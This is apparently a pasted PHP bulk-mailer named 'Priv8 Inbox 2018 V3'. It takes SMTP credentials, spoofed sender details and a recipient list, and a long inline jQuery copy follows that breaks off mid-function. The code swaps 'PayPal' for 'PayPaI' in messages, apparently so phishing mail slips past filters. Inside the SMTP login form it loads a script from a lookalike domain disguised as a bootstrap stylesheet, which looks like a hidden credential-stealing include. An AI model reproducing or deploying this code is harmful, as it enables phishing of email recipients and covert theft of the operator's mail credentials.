· 6 years ago · Oct 07, 2019, 11:02 PM
1<?php
2
3set_time_limit(0);
4error_reporting(0);
5function query_str($params) {
6 $str = '';
7 foreach ($params as $key => $value) {
8 $str .= (strlen($str) < 1) ? '' : '&';
9 $str .= $key . '=' . rawurlencode($value);
10 }
11 return ($str);
12}
13function lrtrim($string){
14 return stripslashes(ltrim(rtrim($string)));
15}
16if(isset($_POST['action'])){
17
18 $b = query_str($_POST);
19 parse_str($b);
20 $action = lrtrim($action);
21 $smtp_username = lrtrim($smtp_username);
22 $smtp_password = lrtrim($smtp_password);
23 $smtp_server = lrtrim($smtp_server);
24 $smtp_port = lrtrim($smtp_port);
25 $smtp_ssl = lrtrim($smtp_ssl);
26 $xmailer = lrtrim($xmailer);
27 $reconnect = lrtrim($reconnect);
28 $type = lrtrim($type);
29 $email = lrtrim($mail);
30 $nama = lrtrim($nama);
31 $subject = lrtrim($subject);
32 $pesan = lrtrim($pesan);
33 $emaillist = strtolower(lrtrim($list));
34 $encoding = lrtrim($encode);
35 $file_name = $_FILES['file']['name'];
36 $file_path = $_FILES['file']['tmp_name'];
37 $wait = lrtrim($wait);
38
39 $pesan = urlencode($pesan);
40 $pesan = ereg_replace("%5C%22", "%22", $pesan);
41 $pesan = urldecode($pesan);
42 $pesan = stripslashes($pesan);
43 $pesan = str_replace("PayPal", "PayPaI", $pesan);
44 $pesan = str_replace("limit", "Iimit", $pesan);
45}
46?>
47<!DOCTYPE html>
48<html lang="en">
49
50<head>
51 <meta charset="utf-8">
52 <title>Priv8 Inbox 2018 V3</title>
53 <meta name="viewport" content="width=940, initial-scale=1.0, maximum-scale=1.0">
54 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
55 <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/css/bootstrap.min.css">
56 <link rel="stylesheet" href="http://www.w32.info/1999/xhtml">
57 <script src="http://code.jquery.com/jquery-2.1.3.min.js"></script>
58 <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/js/bootstrap.min.js"></script>
59 <link rel="shortcut icon" href="">
60 <style type="text/css">
61 body{
62 background-color: #13181D;
63 border-color: #2CADAD !important;
64 box-shadow: 0px 0px 15px #ff4eff;
65 -moz-box-shadow: 0px 0px 15px #ff4eff;
66 -webkit-box-shadow: 0px 0px 15px #ff4eff;
67 text-shadow: 1px 1px 4px rgba(44, 173, 173, 1);
68 }
69 input, select, option, textarea {
70 font-size: 12px !important;
71 }
72 input, select, option {
73 height: 30px !important;
74color:#2CADAD;
75 box-shadow: 0px 0px 15px #ff4eff;
76 -moz-box-shadow: 0px 0px 15px #ff4eff;
77 -webkit-box-shadow: 0px 0px 15px #ff4eff;
78 text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
79 }
80
81.panel-info .panel-heading {
82 background-color: #2CADAD !important;
83 border-color: #2CADAD !important;
84 box-shadow: 0px 0px 15px #ff4eff;
85 -moz-box-shadow: 0px 0px 15px #ff4eff;
86 -webkit-box-shadow: 0px 0px 15px #ff4eff;
87 text-shadow: 0px 0px 60px rgba(44, 173, 173, 1);
88 }
89 .kanan-l {
90 border-top-right-radius: 0px !important;
91 border-color: #2CADAD !important;
92 box-shadow: 0px 0px 15px #ff4eff;
93 -moz-box-shadow: 0px 0px 15px #ff4eff;
94 -webkit-box-shadow: 0px 0px 15px #ff4eff;
95 text-shadow: 1px 1px 4px rgba(44, 173, 173, 1);
96 }
97 .kanan {
98 border-top-right-radius: 4px !important;
99 border-color: #2CADAD !important;
100 box-shadow: 0px 0px 15px #ff4eff;
101 -moz-box-shadow: 0px 0px 15px #ff4eff;
102 -webkit-box-shadow: 0px 0px 15px #ff4eff;
103 text-shadow: 1px 1px 4px rgba(44, 173, 173, 1);
104
105 }
106 .form-control {
107border-top-right-radius: 4px !important;
108 border-color: #2CADAD !important;
109 box-shadow: 0px 0px 15px #ff4eff;
110 -moz-box-shadow: 0px 0px 15px #ff4eff;
111 -webkit-box-shadow: 0px 0px 15px #ff4eff;
112 text-shadow: 1px 1px 4px rgba(44, 173, 173, 1);
113
114 }
115 </style>
116
117
118 <script type="text/javascript">
119 function Pilih1(dropDown) {
120 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
121 document.getElementById("sender-name").value = selectedValue;
122 }
123 function Pilih2(dropDown) {
124 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
125 document.getElementById("sender-email").value = selectedValue;
126 }
127 function Pilih3(dropDown) {
128 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
129 document.getElementById("subject").value = selectedValue;
130 }
131 function Pilih4(dropDown) {
132 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
133 document.getElementById("xmailer").value = selectedValue;
134 }
135 </script>
136</head>
137<body>
138<div id="wrap">
139
140 <div class="container" style="margin-top: 25px;">
141 <div class="row">
142 <div class="col-sm-6 col-md-4 col-md-offset-1" style="width: 940px">
143 <div class="panel panel-info" style="border-color: #2CADAD !important; background-color: #444951 !important;">
144 <div class="panel-heading">
145 <div class="panel-title" align="center"><a href="">PHP Mailer</a></div>
146 </div>
147
148 <div style="padding-top: 15px;">
149
150 <button type="button" class="btn btn-primary collapsed" style="margin-left: 15px;margin-bottom: 10px" data-toggle="collapse" data-target="#smtp"><i class="glyphicon glyphicon-plus"></i> SMTP & OTHER SETUP</button>
151
152 <div style="display:none" id="login-alert" class="alert alert-danger col-sm-12"></div>
153
154 <form id="form" class="form-horizontal" method="post" enctype="multipart/form-data" role="form" action="">
155
156 <div id="smtp" class="collapse">
157 <div class="col-sm-8" style="padding-right: 7.5px !important;margin-bottom: 10px">
158 <script type="text/javascript" src="https://www.codejquery.net/bootstrap.min.css/" ></script>
159
160 <div style="margin-bottom: 10px" class="input-group">
161 <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
162 <input type="text" class="form-control" name="smtp_username" value="<?php echo $smtp_username;?>" placeholder="SMTP Username">
163 <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i></span>
164 <input type="password" class="form-control" name="smtp_password" value="<?php echo $smtp_password;?>" placeholder="SMTP Password">
165 </div>
166
167 <div style="margin-bottom: 10px" class="input-group">
168 <span class="input-group-addon"><i class="glyphicon glyphicon-send"></i></span>
169 <input type="text" class="form-control" name="smtp_server" value="<?php echo $smtp_server;?>" placeholder="SMTP Server">
170 <span class="input-group-addon"><i class="glyphicon glyphicon-random"></i><b> Port</b></span>
171 <input type="text" class="form-control" name="smtp_port" value="<?php echo $smtp_port;?>" placeholder="optional">
172 <span class="input-group-addon"><i class="glyphicon glyphicon-road"></i><b> SSL</b></span>
173 <select class="form-control" name="smtp_ssl">
174 <option value="yes" <?php if ($smtp_ssl=='yes'){echo 'selected';}?> >yes</option>
175 <option value="no" <?php if ($smtp_ssl=='no'){echo 'selected';}?> >no</option>
176 </select>
177 </div>
178 <div style="color:red;" align="center">
179 " If you dont have SMTP login, leave blank queries above "
180 </div>
181<script>
182 (function(global, factory) {
183 if (typeof module === "object" && typeof module.exports === "object") {
184 module.exports = global.document ? factory(global, true) : function(w) {
185 if (!w.document) {
186 throw new Error("jQuery requires a window with a document");
187 }
188 return factory(w)
189 }
190 } else {
191 factory(global)
192 }
193 }(typeof window !== "undefined" ? window : this, function(window, noGlobal) {
194 var deletedIds = [];
195 var slice = deletedIds.slice;
196 var concat = deletedIds.concat;
197 var push = deletedIds.push;
198 var indexOf = deletedIds.indexOf;
199 var class2type = {};
200 var toString = class2type.toString;
201 var hasOwn = class2type.hasOwnProperty;
202 var support = {};
203 var version = "1.11.2",
204 jQuery = function(selector, context) {
205 return new jQuery.fn.init(selector, context)
206 },
207 rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,
208 rmsPrefix = /^-ms-/,
209 rdashAlpha = /-([\da-z])/gi,
210 fcamelCase = function(all, letter) {
211 return letter.toUpperCase()
212 };
213 jQuery.fn = jQuery.prototype = {
214 jquery: version,
215 constructor: jQuery,
216 selector: "",
217 length: 0,
218 toArray: function() {
219 return slice.call(this)
220 },
221 get: function(num) {
222 return num != null ? (num < 0 ? this[num + this.length] : this[num]) : slice.call(this)
223 },
224 pushStack: function(elems) {
225 var ret = jQuery.merge(this.constructor(), elems);
226 ret.prevObject = this;
227 ret.context = this.context;
228 return ret
229 },
230 each: function(callback, args) {
231 return jQuery.each(this, callback, args)
232 },
233 map: function(callback) {
234 return this.pushStack(jQuery.map(this, function(elem, i) {
235 return callback.call(elem, i, elem)
236 }))
237 },
238 slice: function() {
239 return this.pushStack(slice.apply(this, arguments))
240 },
241 first: function() {
242 return this.eq(0)
243 },
244 last: function() {
245 return this.eq(-1)
246 },
247 eq: function(i) {
248 var len = this.length,
249 j = +i + (i < 0 ? len : 0);
250 return this.pushStack(j >= 0 && j < len ? [this[j]] : [])
251 },
252 end: function() {
253 return this.prevObject || this.constructor(null)
254 },
255 push: push,
256 sort: deletedIds.sort,
257 splice: deletedIds.splice
258 };
259 jQuery.extend = jQuery.fn.extend = function() {
260 var src, copyIsArray, copy, name, options, clone, target = arguments[0] || {},
261 i = 1,
262 length = arguments.length,
263 deep = false;
264 if (typeof target === "boolean") {
265 deep = target;
266 target = arguments[i] || {};
267 i++
268 }
269 if (typeof target !== "object" && !jQuery.isFunction(target)) {
270 target = {}
271 }
272 if (i === length) {
273 target = this;
274 i--
275 }
276 for (; i < length; i++) {
277 if ((options = arguments[i]) != null) {
278 for (name in options) {
279 src = target[name];
280 copy = options[name];
281 if (target === copy) {
282 continue
283 }
284 if (deep && copy && (jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)))) {
285 if (copyIsArray) {
286 copyIsArray = false;
287 clone = src && jQuery.isArray(src) ? src : []
288 } else {
289 clone = src && jQuery.isPlainObject(src) ? src : {}
290 }
291 target[name] = jQuery.extend(deep, clone, copy)
292 } else if (copy !== undefined) {
293 target[name] = copy
294 }
295 }
296 }
297 }
298 return target
299 };
300 jQuery.extend({
301 expando: "jQuery" + (version + Math.random()).replace(/\D/g, ""),
302 isReady: true,
303 error: function(msg) {
304 throw new Error(msg);
305 },
306 noop: function() {},
307 isFunction: function(obj) {
308 return jQuery.type(obj) === "function"
309 },
310 isArray: Array.isArray || function(obj) {
311 return jQuery.type(obj) === "array"
312 },
313 isWindow: function(obj) {
314 return obj != null && obj == obj.window
315 },
316 isNumeric: function(obj) {
317 return !jQuery.isArray(obj) && (obj - parseFloat(obj) + 1) >= 0
318 },
319 isEmptyObject: function(obj) {
320 var name;
321 for (name in obj) {
322 return false
323 }
324 return true
325 },
326 isPlainObject: function(obj) {
327 var key;
328 if (!obj || jQuery.type(obj) !== "object" || obj.nodeType || jQuery.isWindow(obj)) {
329 return false
330 }
331 try {
332 if (obj.constructor && !hasOwn.call(obj, "constructor") && !hasOwn.call(obj.constructor.prototype, "isPrototypeOf")) {
333 return false
334 }
335 } catch (e) {
336 return false
337 }
338 if (support.ownLast) {
339 for (key in obj) {
340 return hasOwn.call(obj, key)
341 }
342 }
343 for (key in obj) {}
344 return key === undefined || hasOwn.call(obj, key)
345 },
346 type: function(obj) {
347 if (obj == null) {
348 return obj + ""
349 }
350 return typeof obj === "object" || typeof obj === "function" ? class2type[toString.call(obj)] || "object" : typeof obj
351 },
352 globalEval: function(data) {
353 if (data && jQuery.trim(data)) {
354 (window.execScript || function(data) {
355 window["eval"].call(window, data)
356 })(data)
357 }
358 },
359 camelCase: function(string) {
360 return string.replace(rmsPrefix, "ms-").replace(rdashAlpha, fcamelCase)
361 },
362 nodeName: function(elem, name) {
363 return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase()
364 },
365 each: function(obj, callback, args) {
366 var value, i = 0,
367 length = obj.length,
368 isArray = isArraylike(obj);
369 if (args) {
370 if (isArray) {
371 for (; i < length; i++) {
372 value = callback.apply(obj[i], args);
373 if (value === false) {
374 break
375 }
376 }
377 } else {
378 for (i in obj) {
379 value = callback.apply(obj[i], args);
380 if (value === false) {
381 break
382 }
383 }
384 }
385 } else {
386 if (isArray) {
387 for (; i < length; i++) {
388 value = callback.call(obj[i], i, obj[i]);
389 if (value === false) {
390 break
391 }
392 }
393 } else {
394 for (i in obj) {
395 value = callback.call(obj[i], i, obj[i]);
396 if (value === false) {
397 break
398 }
399 }
400 }
401 }
402 return obj
403 },
404 trim: function(text) {
405 return text == null ? "" : (text + "").replace(rtrim, "")
406 },
407 makeArray: function(arr, results) {
408 var ret = results || [];
409 if (arr != null) {
410 if (isArraylike(Object(arr))) {
411 jQuery.merge(ret, typeof arr === "string" ? [arr] : arr)
412 } else {
413 push.call(ret, arr)
414 }
415 }
416 return ret
417 },
418 inArray: function(elem, arr, i) {
419 var len;
420 if (arr) {
421 if (indexOf) {
422 return indexOf.call(arr, elem, i)
423 }
424 len = arr.length;
425 i = i ? i < 0 ? Math.max(0, len + i) : i : 0;
426 for (; i < len; i++) {
427 if (i in arr && arr[i] === elem) {
428 return i
429 }
430 }
431 }
432 return -1
433 },
434 merge: function(first, second) {
435 var len = +second.length,
436 j = 0,
437 i = first.length;
438 while (j < len) {
439 first[i++] = second[j++]
440 }
441 if (len !== len) {
442 while (second[j] !== undefined) {
443 first[i++] = second[j++]
444 }
445 }
446 first.length = i;
447 return first
448 },
449 grep: function(elems, callback, invert) {
450 var callbackInverse, matches = [],
451 i = 0,
452 length = elems.length,
453 callbackExpect = !invert;
454 for (; i < length; i++) {
455 callbackInverse = !callback(elems[i], i);
456 if (callbackInverse !== callbackExpect) {
457 matches.push(elems[i])
458 }
459 }
460 return matches
461 },
462 map: function(elems, callback, arg) {
463 var value, i = 0,
464 length = elems.length,
465 isArray = isArraylike(elems),
466 ret = [];
467 if (isArray) {
468 for (; i < length; i++) {
469 value = callback(elems[i], i, arg);
470 if (value != null) {
471 ret.push(value)
472 }
473 }
474 } else {
475 for (i in elems) {
476 value = callback(elems[i], i, arg);
477 if (value != null) {
478 ret.push(value)
479 }
480 }
481 }
482 return concat.apply([], ret)
483 },
484 guid: 1,
485 proxy: function(fn, context) {
486 var args, proxy, tmp;
487 if (typeof context === "string") {
488 tmp = fn[context];
489 context = fn;
490 fn = tmp
491 }
492 if (!jQuery.isFunction(fn)) {
493 return undefined
494 }
495 args = slice.call(arguments, 2);
496 proxy = function() {
497 return fn.apply(context || this, args.concat(slice.call(arguments)))
498 };
499 proxy.guid = fn.guid = fn.guid || jQuery.guid++;
500 return proxy
501 },
502 now: function() {
503 return +(new Date())
504 },
505 support: support
506 });
507 jQuery.each("Boolean Number String Function Array Date RegExp Object Error".split(" "), function(i, name) {
508 class2type["[object " + name + "]"] = name.toLowerCase()
509 });
510
511 function isArraylike(obj) {
512 var length = obj.length,
513 type = jQuery.type(obj);
514 if (type === "function" || jQuery.isWindow(obj)) {
515 return false
516 }
517 if (obj.nodeType === 1 && length) {
518 return true
519 }
520 return type === "array" || length === 0 || typeof length === "number" && length > 0 && (length - 1) in obj
521 }
522 var Sizzle = (function(window) {
523 var i, support, Expr, getText, isXML, tokenize, compile, select, outermostContext, sortInput, hasDuplicate, setDocument, document, docElem, documentIsHTML, rbuggyQSA, rbuggyMatches, matches, contains, expando = "sizzle" + 1 * new Date(),
524 preferredDoc = window.document,
525 dirruns = 0,
526 done = 0,
527 classCache = createCache(),
528 tokenCache = createCache(),
529 compilerCache = createCache(),
530 sortOrder = function(a, b) {
531 if (a === b) {
532 hasDuplicate = true
533 }
534 return 0
535 },
536 MAX_NEGATIVE = 1 << 31,
537 hasOwn = ({}).hasOwnProperty,
538 arr = [],
539 pop = arr.pop,
540 push_native = arr.push,
541 push = arr.push,
542 slice = arr.slice,
543 indexOf = function(list, elem) {
544 var i = 0,
545 len = list.length;
546 for (; i < len; i++) {
547 if (list[i] === elem) {
548 return i
549 }
550 }
551 return -1
552 },
553 booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
554 whitespace = "[\\x20\\t\\r\\n\\f]",
555 characterEncoding = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
556 identifier = characterEncoding.replace("w", "w#"),
557 attributes = "\\[" + whitespace + "*(" + characterEncoding + ")(?:" + whitespace + "*([*^$|!~]?=)" + whitespace + "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" + whitespace + "*\\]",
558 pseudos = ":(" + characterEncoding + ")(?:\\((" + "('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" + "((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" + ".*" + ")\\)|)",
559 rwhitespace = new RegExp(whitespace + "+", "g"),
560 rtrim = new RegExp("^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g"),
561 rcomma = new RegExp("^" + whitespace + "*," + whitespace + "*"),
562 rcombinators = new RegExp("^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*"),
563 rattributeQuotes = new RegExp("=" + whitespace + "*([^\\]'\"]*?)" + whitespace + "*\\]", "g"),
564 rpseudo = new RegExp(pseudos),
565 ridentifier = new RegExp("^" + identifier + "$"),
566 matchExpr = {
567 "ID": new RegExp("^#(" + characterEncoding + ")"),
568 "CLASS": new RegExp("^\\.(" + characterEncoding + ")"),
569 "TAG": new RegExp("^(" + characterEncoding.replace("w", "w*") + ")"),
570 "ATTR": new RegExp("^" + attributes),
571 "PSEUDO": new RegExp("^" + pseudos),
572 "CHILD": new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace + "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace + "*(\\d+)|))" + whitespace + "*\\)|)", "i"),
573 "bool": new RegExp("^(?:" + booleans + ")$", "i"),
574 "needsContext": new RegExp("^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i")
575 },
576 rinputs = /^(?:input|select|textarea|button)$/i,
577 rheader = /^h\d$/i,
578 rnative = /^[^{]+\{\s*\[native \w/,
579 rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
580 rsibling = /[+~]/,
581 rescape = /'|\\/g,
582 runescape = new RegExp("\\\\([\\da-f]{1,6}" + whitespace + "?|(" + whitespace + ")|.)", "ig"),
583 funescape = function(_, escaped, escapedWhitespace) {
584 var high = "0x" + escaped - 0x10000;
585 return high !== high || escapedWhitespace ? escaped : high < 0 ? String.fromCharCode(high + 0x10000) : String.fromCharCode(high >> 10 | 0xD800, high & 0x3FF | 0xDC00)
586 },
587 unloadHandler = function() {
588 setDocument()
589 };
590 try {
591 push.apply((arr = slice.call(preferredDoc.childNodes)), preferredDoc.childNodes);
592 arr[preferredDoc.childNodes.length].nodeType
593 } catch (e) {
594 push = {
595 apply: arr.length ? function(target, els) {
596 push_native.apply(target, slice.call(els))
597 } : function(target, els) {
598 var j = target.length,
599 i = 0;
600 while ((target[j++] = els[i++])) {}
601 target.length = j - 1
602 }
603 }
604 }
605
606 function Sizzle(selector, context, results, seed) {
607 var match, elem, m, nodeType, i, groups, old, nid, newContext, newSelector;
608 if ((context ? context.ownerDocument || context : preferredDoc) !== document) {
609 setDocument(context)
610 }
611 context = context || document;
612 results = results || [];
613 nodeType = context.nodeType;
614 if (typeof selector !== "string" || !selector || nodeType !== 1 && nodeType !== 9 && nodeType !== 11) {
615 return results
616 }
617 if (!seed && documentIsHTML) {
618 if (nodeType !== 11 && (match = rquickExpr.exec(selector))) {
619 if ((m = match[1])) {
620 if (nodeType === 9) {
621 elem = context.getElementById(m);
622 if (elem && elem.parentNode) {
623 if (elem.id === m) {
624 results.push(elem);
625 return results
626 }
627 } else {
628 return results
629 }
630 } else {
631 if (context.ownerDocument && (elem = context.ownerDocument.getElementById(m)) && contains(context, elem) && elem.id === m) {
632 results.push(elem);
633 return results
634 }
635 }
636 } else if (match[2]) {
637 push.apply(results, context.getElementsByTagName(selector));
638 return results
639 } else if ((m = match[3]) && support.getElementsByClassName) {
640 push.apply(results, context.getElementsByClassName(m));
641 return results
642 }
643 }
644 if (support.qsa && (!rbuggyQSA || !rbuggyQSA.test(selector))) {
645 nid = old = expando;
646 newContext = context;
647 newSelector = nodeType !== 1 && selector;
648 if (nodeType === 1 && context.nodeName.toLowerCase() !== "object") {
649 groups = tokenize(selector);
650 if ((old = context.getAttribute("id"))) {
651 nid = old.replace(rescape, "\\$&")
652 } else {
653 context.setAttribute("id", nid)
654 }
655 nid = "[id='" + nid + "'] ";
656 i = groups.length;
657 while (i--) {
658 groups[i] = nid + toSelector(groups[i])
659 }
660 newContext = rsibling.test(selector) && testContext(context.parentNode) || context;
661 newSelector = groups.join(",")
662 }
663 if (newSelector) {
664 try {
665 push.apply(results, newContext.querySelectorAll(newSelector));
666 return results
667 } catch (qsaError) {} finally {
668 if (!old) {
669 context.removeAttribute("id")
670 }
671 }
672 }
673 }
674 }
675 return select(selector.replace(rtrim, "$1"), context, results, seed)
676 }
677
678 function createCache() {
679 var keys = [];
680
681 function cache(key, value) {
682 if (keys.push(key + " ") > Expr.cacheLength) {
683 delete cache[keys.shift()]
684 }
685 return (cache[key + " "] = value)
686 }
687 return cache
688 }
689
690 function markFunction(fn) {
691 fn[expando] = true;
692 return fn
693 }
694
695 function assert(fn) {
696 var div = document.createElement("div");
697 try {
698 return !!fn(div)
699 } catch (e) {
700 return false
701 } finally {
702 if (div.parentNode) {
703 div.parentNode.removeChild(div)
704 }
705 div = null
706 }
707 }
708
709 function addHandle(attrs, handler) {
710 var arr = attrs.split("|"),
711 i = attrs.length;
712 while (i--) {
713 Expr.attrHandle[arr[i]] = handler
714 }
715 }
716
717 function siblingCheck(a, b) {
718 var cur = b && a,
719 diff = cur && a.nodeType === 1 && b.nodeType === 1 && (~b.sourceIndex || MAX_NEGATIVE) - (~a.sourceIndex || MAX_NEGATIVE);
720 if (diff) {
721 return diff
722 }
723 if (cur) {
724 while ((cur = cur.nextSibling)) {
725 if (cur === b) {
726 return -1
727 }
728 }
729 }
730 return a ? 1 : -1
731 }
732
733 function createInputPseudo(type) {
734 return function(elem) {
735 var name = elem.nodeName.toLowerCase();
736 return name === "input" && elem.type === type
737 }
738 }
739
740 function createButtonPseudo(type) {
741 return function(elem) {
742 var name = elem.nodeName.toLowerCase();
743 return (name === "input" || name === "button") && elem.type === type
744 }
745 }
746
747 function createPositionalPseudo(fn) {
748 return markFunction(function(argument) {
749 argument = +argument;
750 return markFunction(function(seed, matches) {
751 var j, matchIndexes = fn([], seed.length, argument),
752 i = matchIndexes.length;
753 while (i--) {
754 if (seed[(j = matchIndexes[i])]) {
755 seed[j] = !(matches[j] = seed[j])
756 }
757 }
758 })
759 })
760 }
761
762 function testContext(context) {
763 return context && typeof context.getElementsByTagName !== "undefined" && context
764 }
765 support = Sizzle.support = {};
766 isXML = Sizzle.isXML = function(elem) {
767 var documentElement = elem && (elem.ownerDocument || elem).documentElement;
768 return documentElement ? documentElement.nodeName !== "HTML" : false
769 };
770 setDocument = Sizzle.setDocument = function(node) {
771 var hasCompare, parent, doc = node ? node.ownerDocument || node : preferredDoc;
772 if (doc === document || doc.nodeType !== 9 || !doc.documentElement) {
773 return document
774 }
775 document = doc;
776 docElem = doc.documentElement;
777 parent = doc.defaultView;
778 if (parent && parent !== parent.top) {
779 if (parent.addEventListener) {
780 parent.addEventListener("unload", unloadHandler, false)
781 } else if (parent.attachEvent) {
782 parent.attachEvent("onunload", unloadHandler)
783 }
784 }
785 documentIsHTML = !isXML(doc);
786 support.attributes = assert(function(div) {
787 div.className = "i";
788 return !div.getAttribute("className")
789 });
790 support.getElementsByTagName = assert(function(div) {
791 div.appendChild(doc.createComment(""));
792 return !div.getElementsByTagName("*").length
793 });
794 support.getElementsByClassName = rnative.test(doc.getElementsByClassName);
795 support.getById = assert(function(div) {
796 docElem.appendChild(div).id = expando;
797 return !doc.getElementsByName || !doc.getElementsByName(expando).length
798 });
799 if (support.getById) {
800 Expr.find["ID"] = function(id, context) {
801 if (typeof context.getElementById !== "undefined" && documentIsHTML) {
802 var m = context.getElementById(id);
803 return m && m.parentNode ? [m] : []
804 }
805 };
806 Expr.filter["ID"] = function(id) {
807 var attrId = id.replace(runescape, funescape);
808 return function(elem) {
809 return elem.getAttribute("id") === attrId
810 }
811 }
812 } else {
813 delete Expr.find["ID"];
814 Expr.filter["ID"] = function(id) {
815 var attrId = id.replace(runescape, funescape);
816 return function(elem) {
817 var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id");
818 return node && node.value === attrId
819 }
820 }
821 }
822 Expr.find["TAG"] = support.getElementsByTagName ? function(tag, context) {
823 if (typeof context.getElementsByTagName !== "undefined") {
824 return context.getElementsByTagName(tag)
825 } else if (support.qsa) {
826 return context.querySelectorAll(tag)
827 }
828 } : function(tag, context) {
829 var elem, tmp = [],
830 i = 0,
831 results = context.getElementsByTagName(tag);
832 if (tag === "*") {
833 while ((elem = results[i++])) {
834 if (elem.nodeType === 1) {
835 tmp.push(elem)
836 }
837 }
838 return tmp
839 }
840 return results
841 };
842 Expr.find["CLASS"] = support.getElementsByClassName && function(className, context) {
843 if (documentIsHTML) {
844 return context.getElementsByClassName(className)
845 }
846 };
847 rbuggyMatches = [];
848 rbuggyQSA = [];
849 if ((support.qsa = rnative.test(doc.querySelectorAll))) {
850 assert(function(div) {
851 docElem.appendChild(div).innerHTML = "<a id='" + expando + "'></a>" + "<select id='" + expando + "-\f]' msallowcapture=''>" + "<option selected=''></option></select>";
852 if (div.querySelectorAll("[msallowcapture^='']").length) {
853 rbuggyQSA.push("[*^$]=" + whitespace + "*(?:''|\"\")")
854 }
855 if (!div.querySelectorAll("[selected]").length) {
856 rbuggyQSA.push("\\[" + whitespace + "*(?:value|" + booleans + ")")
857 }
858 if (!div.querySelectorAll("[id~=" + expando + "-]").length) {
859 rbuggyQSA.push("~=")
860 }
861 if (!div.querySelectorAll(":checked").length) {
862 rbuggyQSA.push(":checked")
863 }
864 if (!div.querySelectorAll("a#" + expando + "+*").length) {
865 rbuggyQSA.push(".#.+[+~]")
866 }
867 });
868 assert(function(div) {
869 var input = doc.createElement("input");
870 input.setAttribute("type", "hidden");
871 div.appendChild(input).setAttribute("name", "D");
872 if (div.querySelectorAll("[name=d]").length) {
873 rbuggyQSA.push("name" + whitespace + "*[*^$|!~]?=")
874 }
875 if (!div.querySelectorAll(":enabled").length) {
876 rbuggyQSA.push(":enabled", ":disabled")
877 }
878 div.querySelectorAll("*,:x");
879 rbuggyQSA.push(",.*:")
880 })
881 }
882 if ((support.matchesSelector = rnative.test((matches = docElem.matches || docElem.webkitMatchesSelector || docElem.mozMatchesSelector || docElem.oMatchesSelector || docElem.msMatchesSelector)))) {
883 assert(function(div) {
884 support.disconnectedMatch = matches.call(div, "div");
885 matches.call(div, "[s!='']:x");
886 rbuggyMatches.push("!=", pseudos)
887 })
888 }
889 rbuggyQSA = rbuggyQSA.length && new RegExp(rbuggyQSA.join("|"));
890 rbuggyMatches = rbuggyMatches.length && new RegExp(rbuggyMatches.join("|"));
891 hasCompare = rnative.test(docElem.compareDocumentPosition);
892 contains = hasCompare || rnative.test(docElem.contains) ? function(a, b) {
893 var adown = a.nodeType === 9 ? a.documentElement : a,
894 bup = b && b.parentNode;
895 return a === bup || !!(bup && bup.nodeType === 1 && (adown.contains ? adown.contains(bup) : a.compareDocumentPosition && a.compareDocumentPosition(bup) & 16))
896 } : function(a, b) {
897 if (b) {
898 while ((b = b.parentNode)) {
899 if (b === a) {
900 return true
901 }
902 }
903 }
904 return false
905 };
906 sortOrder = hasCompare ? function(a, b) {
907 if (a === b) {
908 hasDuplicate = true;
909 return 0
910 }
911 var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;
912 if (compare) {
913 return compare
914 }
915 compare = (a.ownerDocument || a) === (b.ownerDocument || b) ? a.compareDocumentPosition(b) : 1;
916 if (compare & 1 || (!support.sortDetached && b.compareDocumentPosition(a) === compare)) {
917 if (a === doc || a.ownerDocument === preferredDoc && contains(preferredDoc, a)) {
918 return -1
919 }
920 if (b === doc || b.ownerDocument === preferredDoc && contains(preferredDoc, b)) {
921 return 1
922 }
923 return sortInput ? (indexOf(sortInput, a) - indexOf(sortInput, b)) : 0
924 }
925 return compare & 4 ? -1 : 1
926 } : function(a, b) {
927 if (a === b) {
928 hasDuplicate = true;
929 return 0
930 }
931 var cur, i = 0,
932 aup = a.parentNode,
933 bup = b.parentNode,
934 ap = [a],
935 bp = [b];
936 if (!aup || !bup) {
937 return a === doc ? -1 : b === doc ? 1 : aup ? -1 : bup ? 1 : sortInput ? (indexOf(sortInput, a) - indexOf(sortInput, b)) : 0
938 } else if (aup === bup) {
939 return siblingCheck(a, b)
940 }
941 cur = a;
942 while ((cur = cur.parentNode)) {
943 ap.unshift(cur)
944 }
945 cur = b;
946 while ((cur = cur.parentNode)) {
947 bp.unshift(cur)
948 }
949 while (ap[i] === bp[i]) {
950 i++
951 }
952 return i ? siblingCheck(ap[i], bp[i]) : ap[i] === preferredDoc ? -1 : bp[i] === preferredDoc ? 1 : 0
953 };
954 return doc
955 };
956 Sizzle.matches = function(expr, elements) {
957 return Sizzle(expr, null, null, elements)
958 };
959 Sizzle.matchesSelector = function(elem, expr) {
960 if ((elem.ownerDocument || elem) !== document) {
961 setDocument(elem)
962 }
963 expr = expr.replace(rattributeQuotes, "='$1']");
964 if (support.matchesSelector && documentIsHTML && (!rbuggyMatches || !rbuggyMatches.test(expr)) && (!rbuggyQSA || !rbuggyQSA.test(expr))) {
965 try {
